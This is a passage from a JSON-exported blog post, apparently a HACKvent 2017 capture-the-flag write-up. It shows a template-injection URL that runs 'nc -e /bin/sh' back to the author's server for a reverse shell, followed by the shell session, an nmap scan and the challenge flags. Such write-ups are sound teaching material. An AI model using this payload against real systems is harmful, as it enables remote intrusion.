...<\/pre>\n<p>And I opened this URL with the command to connect back to my server:<\/p>\n<pre class=\"wrap:true lang:default decode:true \">http:\/\/challenges.hackvent.hacking-lab.com:1089\/{{''.__class__.__mro__[1].__subclasses__()[37]([\"nc\", \"-e\", \"\/bin\/sh\", \"sigterm.ch\", \"1337\"])}}\/99?key=W5zzcusgZty9CNgw<\/pre>\n<p><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/rshell.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-727 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/rshell-1024x392.png\" alt=\"\" width=\"584\" height=\"224\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/rshell-1024x392.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/rshell-300x115.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/rshell-768x294.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/rshell.png 1302w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nOn my server I got the reverse shell access:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">$  nc -l -p 1337 -vvv\nlistening on [any] 1337 ...\nconnect to [10.8.111.199] from urb80-74-140-188.ch-meta.net [80.74.140.188] 32782\nls\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\ncd \/home\nls\nflag\ncat flag\nHV17-7h1s-1sju-t4ra-nd0m-flag<\/pre>\n<p><strong>HV17-7h1s-1sju-t4ra-nd0m-flag<\/strong><\/p>\n<hr \/>\n<h1>Hidden Flags<\/h1>\n<h2>Hidden Flag #1<\/h2>\n<p>The fist hidden flag was in the calendar. I tried to access days of the calendar which were &gt; than 24. For example, when accessing day 25:<\/p>\n<pre class=\"lang:default decode:true \">https:\/\/hackvent.hacking-lab.com\/challenge.php?day=25\nThe resource (#1959) you are trying to access, is not (yet) for your eyes.<\/pre>\n<p>The comment was about resource #1959, so I tried to access day 1959:<\/p>\n<pre class=\"lang:default decode:true \">https:\/\/hackvent.hacking-lab.com\/challenge.php?day=1959\nThe resource (#25) you are trying to access, is not (yet) for your eyes.<\/pre>\n<p>When calling day 26 the mentioned resource was 1958, for 27 = 1957 and so on&#8230; Adding the two numbers it always ends up in 1984. I requested day 1984, which told me &#8220;The resource you are trying to access, is hidden in the header.&#8221;<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-737 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1.png\" alt=\"\" width=\"359\" height=\"136\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1.png 359w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1-300x114.png 300w\" sizes=\"auto, (max-width: 359px) 100vw, 359px\" \/><\/a>Looking at the headers revealed the flag:<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-738 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1.png\" alt=\"\" width=\"681\" height=\"267\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1.png 681w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1-300x118.png 300w\" sizes=\"auto, (max-width: 681px) 100vw, 681px\" \/><\/a><br \/>\n<strong>HV17-4llw-aysL-00ki-nTh3-H34d<\/strong><\/p>\n<hr \/>\n<h2>Hidden Flag #2<\/h2>\n<p>Hidden Flag number 2 was in <a href=\"https:\/\/sigterm.ch\/?p=695&amp;preview=true#Day_18_I_want_to_play_a_Game_Reloaded_AuthorHaRdLoCk\">day 18<\/a>:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-713 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-1024x705.png\" alt=\"\" width=\"584\" height=\"402\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-1024x705.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-300x207.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-768x529.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden.png 1440w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\n<strong>HV17-Muq9-gzvU-t3Bg-O3jo-iGml<\/strong><\/p>\n<hr \/>\n<h2>Hidden Flag #3<\/h2>\n<p>The robots.txt file of the hackvent webserver contained this text:<\/p>\n<pre class=\"\">We are people, not machines\n<\/pre>\n<p>According to this link I tried to read people.txt:<\/p>\n<pre class=\"\">What's about akronyms?<\/pre>\n<p>I think the author of it meant synonyms and not acronyms. Eventually I got this and tried to read humans.txt<\/p>\n<pre class=\"\">All credits go to the following incredibly awesome HUMANS (in alphabetic order):\navarx\nDanMcFly\nHaRdLoCk\ninik\nLukasz\nM.\nMorpheuz\nMuffinX\nPS\npyth0n33\nHV17-bz7q-zrfD-XnGz-fQos-wr2A<\/pre>\n<p><strong>HV17-bz7q-zrfD-XnGz-fQos-wr2A<\/strong><\/p>\n<hr \/>\n<h2>Hidden Flag #4<\/h2>\n<p>I was browsing the CSS folder and there I&#8217;ve found an Easter-Egg containing a QR code:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/egg.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-739 size-medium\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/egg-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/egg-300x300.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/egg-150x150.png 150w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/egg.png 480w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\n<strong>HE17-W3ll-T00E-arly-forT-his!<\/strong><\/p>\n<hr \/>\n<h2>Hidden Flag #5<\/h2>\n<p>The last hidden flag was on the challenges.hackvent.hacking-lab.com server. I ran nmap to look for open ports and found the telnet port:<\/p>\n<pre class=\"lang:sh decode:true\">$ nmap -sS challenges.hackvent.hacking-lab.com\nStarting Nmap 7.60 ( https:\/\/nmap.org ) at 2017-12-30 10:43 CET\nNmap scan report for challenges.hackvent.hacking-lab.com (80.74.140.188)\nHost is up (0.012s latency).\nrDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net\nNot shown: 987 filtered ports\nPORT      STATE  SERVICE\n22\/tcp    open   ssh\n23\/tcp    open   telnet\n80\/tcp    closed http\n443\/tcp   closed https\n1034\/tcp  open   zincite-a\n1037\/tcp  open   ams\n1087\/tcp  open   cplscrambler-in\n1088\/tcp  open   cplscrambler-al\n1089\/tcp  open   ff-annunc\n6667\/tcp  open   irc\n8081\/tcp  open   blackice-icecap\n9999\/tcp  closed abyss\n31337\/tcp open   Elite\nNmap done: 1 IP address (1 host up) scanned in 4.96 seconds\n<\/pre>\n<p>After connecting to the telnet port a nice ASCII animation of Santa Clause was shown. Santa Clause gave us a present (flag) to assemble ourselves. The flag was shown in ASCII art, but the sequence passed so fast, it was impossible to read it. I saved the output to a file:<\/p>\n<pre class=\"lang:sh decode:true\">telnet challenges.hackvent.hacking-lab.com 23 | tee -a hidden5.txt<\/pre>\n<p>I opened this file with a text editor and then I could read the flag.<br \/>\n<strong>HV17-UH4X-PPLE-ANND-IH4X-T1ME<\/strong><br \/>\n&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Like every year before Christmas the HACKvent is on! It is a Jeopardy CTF competition in the style of an advent calendar. Every day at 00:00 a new challenge is released. It starts with easy ones and then becomes harder &hellip; <a href=\"https:\/\/sigterm.ch\/?p=695\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,5],"tags":[21,22,27,31,37,38,39,66,68,69,71,82,97,110,116,123,124,125,126,128,129,130,131,137,140,141,165,167],"class_list":["post-695","post","type-post","status-publish","format-standard","hentry","category-ctf","category-security","tag-asm","tag-assembly","tag-bash","tag-buffer-overflow","tag-capture-the-flag","tag-crypto","tag-ctf","tag-hacking","tag-hacking-lab","tag-hackvent","tag-hackvent-2017","tag-hv17","tag-linux","tag-offensive","tag-password","tag-puzzle","tag-pwn","tag-python","tag-re","tag-reverse-engineering","tag-reverse-shell","tag-reversing","tag-root","tag-security","tag-shell","tag-shell-script","tag-web-application-security","tag-write-up"],"_links":{"self":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=695"}],"version-history":[{"count":0,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/695\/revisions"}],"wp:attachment":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}